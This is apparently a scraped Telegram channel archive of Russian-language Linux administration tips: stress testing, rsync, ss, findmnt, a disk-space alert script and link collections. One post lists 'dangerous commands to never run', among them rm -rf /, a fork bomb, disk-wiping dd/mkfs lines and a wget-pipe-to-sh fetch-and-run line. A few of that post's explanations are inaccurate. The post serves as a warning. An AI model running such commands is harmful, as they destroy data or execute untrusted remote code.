Linux
Kanalga Telegram’da o‘tish
Все для системного администратора, новости и информация из мира Linux По всем вопросам @evgenycarter
Ko'proq ko'rsatish2 346
Obunachilar
-524 soatlar
-347 kunlar
-20730 kunlar
Postlar arxiv
2 346
Stress – это инструмент командной строки Linux, который позволяет нагружать процессор, память, систему ввода-вывода и диск
Установим stress на CentOS, RHEL, Fedora
sudo dnf install stress
Установим stress на Ubuntu и Debian
sudo apt install stress
Синтаксис stress
stress [OPTION [ARG]]
Увеличить нагрузку на процессор
Опция -c или –cpu использует заданное количество воркеров на функции sqrt(), чтобы увеличить нагрузку на процессор и заставить его работать интенсивнее.
stress -c N или stress --cpu N
Следующая команда будет непрерывно загружать 4 ядра процессора
stress --cpu 4
Задаем тайм-аут для стресса
Чтобы задать работу на определенное время, вы можете использовать опцию -t или –timeout.
Следующие команды будут нагружать четыре ядра процессора только в течение 10 с.
stress -c 4 -t 10 или stress --cpu 4 --timeout 10
Увеличение нагрузки на память
Опция -v или --vm позволяет вам нагрузить виртуальную память.
[simterm] $ stress -v N
Увеличение нагрузки ввода-вывода на диск
Вы можете увеличить нагрузку ввода-вывода с помощью опции -i или –io.
stress -i N или stress --io N
Создаем нагрузка на систему с помощью двух процессов, связанных с вводом-выводом.
# stress --io 100
Мы проверим загрузку IO диска с помощью команды iostat.
У меня на сервере доступны диски /dev/vda и /dev/vdb, вы можете проверить активный диск с помощью lsblk или fdisk или любой другой команды.
Если вы выполните эту команду без каких-либо аргументов, то она покажет дисковые IO для всех доступных дисков.
iostat -d /dev/vda -d /dev/vdb 1
Увеличение нагрузки на диск
Опция -d или –hdd используется для создания нагрузки на диск.
stress -d N или stress --hdd N
Для увеличения нагрузки на диск мы используем следующую команду
stress --hdd 100
Посмотрим пропускную способность диска с помощью команды vmstat
vmstat 1 100
Увеличение нагрузки на несколько системных ресурсов (ЦП, память, ввод/вывод)
Команде stress можно задать несколько нагрузок.
В следующем примере используется 4 ядра ЦП, 2 виртуальных памяти и 1 процесс ввода-вывода для нагрузки на систему в течение 20 секунд.
stress --cpu 4 --vm 2 --io 1 -t 20
👉 @linuxchmod2 346
Шпаргалка Bash: советы и рекомендации для терминала
https://www.stationx.net/bash-cheat-sheet/
👉 @linuxchmod
2 346
htop и многое другое на пальцах
На протяжении долгого времени я не до конца понимал htop. Я думал, что средняя загрузка [load average] в 1.0 означает, что процессор загружен на 50%, но это не совсем так. Да и потом, почему именно 1.0?
Затем я решил во всём разобраться и написать об этом. Говорят, что лучший способ научиться новому — попытаться это объяснить.
Rus https://habr.com/ru/articles/316806/
Eng https://peteris.rocks/blog/htop/
👉 @linuxchmod
2 346
Cockpit – упрощение типичных административных задач в ОС Linux через удобный веб-интерфейс
В этой статье я расскажу про возможности инструмента Cockpit. Cockpit создан с целью облегчения администрирования ОС Linux. Если говорить кратко, то он позволяет выполнять наиболее типичные задачи администратора Linux через приятный веб-интерфейс. Возможности Cockpit: установка и проверка обновление для системы и включение автообновления (процесс патчинга), управление пользователями (создание\удаление\смена паролей\блокировка\выдача прав суперпользователя), управление дисками (создание\редактирование lvm, создание\монтирования файловых систем), настройка сети (team, bonding, ip managing и т. д.), управление systemd-юнитами\таймерами.
Сайт Cockpit https://cockpit-project.org/
👉 @linuxchmod
2 346
Mikrotik
Корпоративная сеть на routerOS | Соединяем два роутера MikroTik по Wireguard
Подробная инструкция по настройке WireGuard в RouterOS
Настройка Wireguard на MikroTik RouterOS
Установка Mikrotik RouterOS на VDS VPS | Cloud Hosted Router
Уведомления в telegram с вашего роутера mikrotik
источник
👉 @linuxchmod
2 346
🎯 Утилиты Linux, которые стоит знать
Полезные команды для работы с системой, сетью и процессами
🔄
rsync — мощный инструмент для синхронизации файлов
Ключи:
* -v — подробный вывод
* -a — сохранить атрибуты
* -u — не перезаписывать новые файлы
* -l / -L — копировать ссылки
* -p / -t — сохранить права и время
* -e — другой транспорт (например, ssh)
* -z — сжатие
* --recursive — рекурсия
* --exclude — исключения по шаблону
Примеры:
rsync -avz skillproject/data/ . # в текущую директорию
rsync -avz skillproject/data/ aaa/ # в подпапку aaa/
rsync -avz skillproject/data/ user@host:/path/ # на удалённый сервер
rsync -avze ssh skillproject/data/ user@host:/path/ # с явным ssh
📡 ss — проверка сетевых соединений
Ключи:
* -l — прослушиваемые порты
* -p — имя программы и PID
* -t / -u — tcp/udp
* -n — без DNS
Примеры:
ss -tlpn # все TCP-порты
ss -tulpn | grep :80 # процессы на порту 80
🧠 ps — управление процессами
ps -e # все процессы
ps -ef # с деталями
ps -ef | grep phantom # найти процесс
📊 mpstat — загрузка CPU
mpstat # общая статистика
mpstat -P ALL # по ядрам
🧮 free — использование ОЗУ
free -h # в читаемом виде
📈 top — диспетчер задач в терминале
Показывает загрузку системы и потребление памяти в реальном времени.
📦 dpkg — управление .deb-пакетами
dpkg -s <packname> # инфо о пакете
dpkg -l # список всех
dpkg -l | grep apache2 # поиск пакета
dpkg -i <package.deb> # установка
🌐 netstat — информация о сети
netstat -pnltu # список портов
👉 @linuxchmod2 346
Linux systemd
1: Введение и файлы юнитов
2: Команды systemctl
3: Цели (Targets)
4: Зависимости и порядок выполнения в systemd
5: Введение в таймеры systemd
👉 @linuxchmod
2 346
📌 Полезный bash-скрипт: Уведомление на почту при переполнении диска
#!/bin/bash
# Порог в процентах
THRESHOLD=90
# Email для уведомлений
EMAIL="admin@example.com"
df -H | grep -vE '^Filesystem|tmpfs|cdrom' | awk '{ print $5 " " $1 }' | while read output; do
usage=$(echo "$output" | awk '{ print $1}' | sed 's/%//')
partition=$(echo "$output" | awk '{ print $2 }')
if [ "$usage" -ge "$THRESHOLD" ]; then
echo "Внимание! На разделе $partition занято $usage% диска." | mail -s "⚠️ Мало места на сервере" $EMAIL
fi
done
📌 Как использовать:
1. Установите mailutils или mailx, если ещё не установлен.
2. Поместите скрипт, например, в /usr/local/bin/disk_check.sh.
3. Добавьте в cron, чтобы запускать регулярно, например, каждые 30 минут:
*/30 * * * * /usr/local/bin/disk_check.sh
👉 @linuxchmod2 346
zfs & btrfs
zfs ubuntu установка настройка & samba
ubuntu zfs - mirror / spare / zpool detach
snapshot zfs
btrfs начало
btrfs добавление и удаление дисков, balance
снимки в btrfs
btrfs replace, balance
btrfs восстановление файлов
btrfs квота
источник
👉 @linuxchmod
2 346
Электронная почта
Как работает электронная почта
Полноценный почтовый сервер за 15 минут
Настройка Postfix. Режимы работы почтовых серверов
Протокол SMTP, расширение STARTTLS и то, что не стоит поминать
DNS записи для почтовых серверов
Документация по Postfix
Как работает электронная почта
Режимы работы почтовых серверов
Про порты и шифрование в почтовых серверах
DNS записи для почтовых серверов
источник
👉 @linuxchmod
2 346
11 опасных команд Linux, которые вы никогда не должны запускать
rm -rf / - Эта команда удалит все файлы и папки на вашем компьютере. Не запускайте ее, если не хотите потерять все свои данные.
:(){ :|: & };: - Это команда, также известная как "fork bomb", может вызвать переполнение памяти на вашем компьютере и привести к аварийному завершению системы.
mkfs.ext4 /dev/sda - Эта команда форматирует жесткий диск без какого-либо предупреждения или подтверждения. Все данные будут утеряны.
dd if=/dev/random of=/dev/sda - Эта команда перезапишет все данные на жестком диске случайными значениями, что приведет к потере данных.
chmod 777 / - Эта команда откроет полный доступ к вашей файловой системе для всех пользователей, что может привести к нарушению безопасности.
mv /home/* /dev/null - Эта команда переместит все файлы в вашей домашней директории в "null", что означает, что они будут утеряны.
wget http://example.com/file -O /dev/null - Эта команда загрузит файл и перезапишет все данные в "null", что приведет к потере данных.
mkfs.ext4 /dev/sda1 - Эта команда форматирует раздел жесткого диска без какого-либо предупреждения или подтверждения. Все данные на этом разделе будут утеряны.
ln -s /dev/null /etc/passwd - Эта команда создаст символическую ссылку на "/etc/passwd" в "null", что приведет к потере данных.
echo "Hello" > /dev/sda - Перезапишите свой раздел, это заменит ваш раздел, содержащий все данные, необходимые для загрузки системы, строкой «Hello».
wget http://malicious_source -O- | sh - Такие команды будут загружать и запускать в вашей системе вредоносные сценарии, которые могут подорвать безопасность вашей системы.
👉 @linuxchmod2 346
CMatrix
Основана на заставке к фильму "Матрица". Показывает текст, прокручивающийся в терминале, может прокручивать строки с одинаковой скоростью или асинхронно и с заданной пользователем скоростью.
Установка
$ sudo apt-get install cmatrix # Linux
Включите асинхронную прокрутку:
cmatrix -a
Отображение красного текста:
cmatrix -C {{red}}
Включить режим радуги:
cmatrix -r
Установите задержку обновления экрана на 2 сантисекунды:
cmatrix -u {{2}}
Исходный код доступен на GitHub.
👉 @linuxchmod2 346
+9
Зайд Менк, 17-летний студент из Зимбабве, потратил более 3 месяцев на создание масштабной модели Манхэттена из переработанных компьютерных деталей.
👉 @linuxchmod
2 346
Relax-and-Recover
Решение для аварийного восстановления и миграции систем на новое железо под управлением Linux (ср. mksysb,
ignite)
Relax-and-Recover создает загрузочный образ. Этот образ может переразметить систему. После этого запускается восстановление из резервной копии. Возможно восстановление на другое оборудование. Поэтому Relax-and-Recover можно использовать и как инструмент миграции.
В настоящее время Relax-and-Recover поддерживает различные загрузочные носители (включая ISO, PXE, ленту OBDR, USB или eSATA), разнообразные сетевые протоколы (включая sftp, ftp, http, nfs, cifs), а также множество стратегий резервного копирования (включая IBM TSM, CommVault, Micro Focus Data Protector, Symantec NetBackup, Bareos, Bacula, rsync, Borg).
Решение Relax-and-Recover было разработано для простой настройки, не требует обслуживания и готово прийти на помощь в случае бедствия. Его характер "установил и забыл" устраняет любые оправдания для отсутствия решения по аварийному восстановлению.
http://relax-and-recover.org/
https://github.com/rear/rear
👉 @linuxchmod
2 346
Команда findmnt
Это простая утилита командной строки, используемая для отображения списка подключенных файловых систем или поиска файловой системы в /etc/fstab, /etc/mtab или /proc/self/ mountinfo.
Для отображения списка подключенных файловых систем, выполните в командной строке следующую команду.
По умолчанию команда findmnt отображает файловые системы в древовидном формате.
# findmnt
Чтобы отобразить информацию в виде обычного списка, используйте параметр -l, как показано ниже
# findmnt -l
Можно выбрать отображение файловых систем только определенного типа, используя параметр командной строки -t, за которым следует тип файловой системы, такой как XFS или EXT4.
# findmnt --fstab -t xfs или # findmnt --fstab -t ext4
Поиск файловой системы, используя точку монтирования.
Например, следующая команда отображает все файловые системы /etc/fstab, где каталогом точки монтирования является /mnt/external/disk2.
# findmnt --fstab /mnt/external/disk2 #this prints bind mounts where /mnt/external/disk2 is a source
или # findmnt --fstab --target /mnt/external/disk2
Выводим все файловые системы /etc/fstab и преобразовываем теги LABEL = и UUID = в реальные имена устройств, добавьте ключ – –evaluate
# findmnt --fstab --evaluate
Отобразить только точку монтирования, в которой смонтирована файловая система с меткой «/ boot» или «/», используйте следующую команду.
# findmnt -n --raw --evaluate --output=target LABEL=/boot или # findmnt -n --raw --evaluate --output=target LABEL=/
Findmnt также позволяет отслеживать действия по монтированию, размонтированию, перемонтированию и перемещению каталога, например, в /mnt/test.
# findmnt --poll --mountpoint /mnt/test
Если вы хотите больше информации в выводе, используйте ключ –verbose.
# findmnt --real --verbose
👉 @linuxchmod2 346
Поиск и удаление пустых директорий
find /путь/к/директории -type d -empty -delete
🔍 Что делает команда:
* -type d — ищем только директории
* -empty — только пустые
* -delete — удаляем найденные
✅ Пример:
find /var/log -type d -empty -delete
Удалит все пустые папки в /var/log.
⚠️ Осторожно! Убедитесь, что указали правильный путь, чтобы случайно не удалить важные директории.
Если хотите сначала посмотреть, что будет удалено, используйте без -delete:
find /var/log -type d -empty
👉 @linuxchmod2 346
Написал свой сервис для удаленного управления компьютерами
Я работал админом около 12 лет, за всё время для целей администрирования пользовался почти всеми известными программами для удаленного доступа, сначала TeamViewer - после внедрения их политики лицензирования и обновления, мягко говоря неудобной и жуткой дорогой (около 30 т.р. в год), пересел на AnyDesk — который был чуть хуже в плане функционала, но более терпим в плане использования, и немного меньшей ценой — около 20 т.р. за год. Но душа всё-таки не была довольна, не хватало многих функций, автоматизации, да и порой было неудобно/лень договариваться о подключении с пользователем, что бы выполнить пустяковое действие. И так пришла на ум идея создать инструмент от админа админу, что бы и интерфейс устраивал, но не был перенасыщен, и разобраться мог любой человек более менее владеющий компьютером.
Ну и конечно санкции и новая их угроза послужила мотивом, зарубежные сервисы постепенно продавливаются или сами разделяют повестку ущемления обычных людей и к сожалению блокируют доступ к своим ресурсам. Хотя по моему мнению, IT компании как наука и спорт должны быть вне политики, не важно на какой стороне твой пользователь.
И вот буквально на днях я закончил писать бета версию, залив её в продакшн, в которой реализовал базовые функции, достаточные для закрытия определенного процента потребностей:
https://habr.com/ru/post/720186/
👉 @linuxchmod
Endi mavjud! Telegram Tadqiqoti 2025 — yilning asosiy insaytlari 
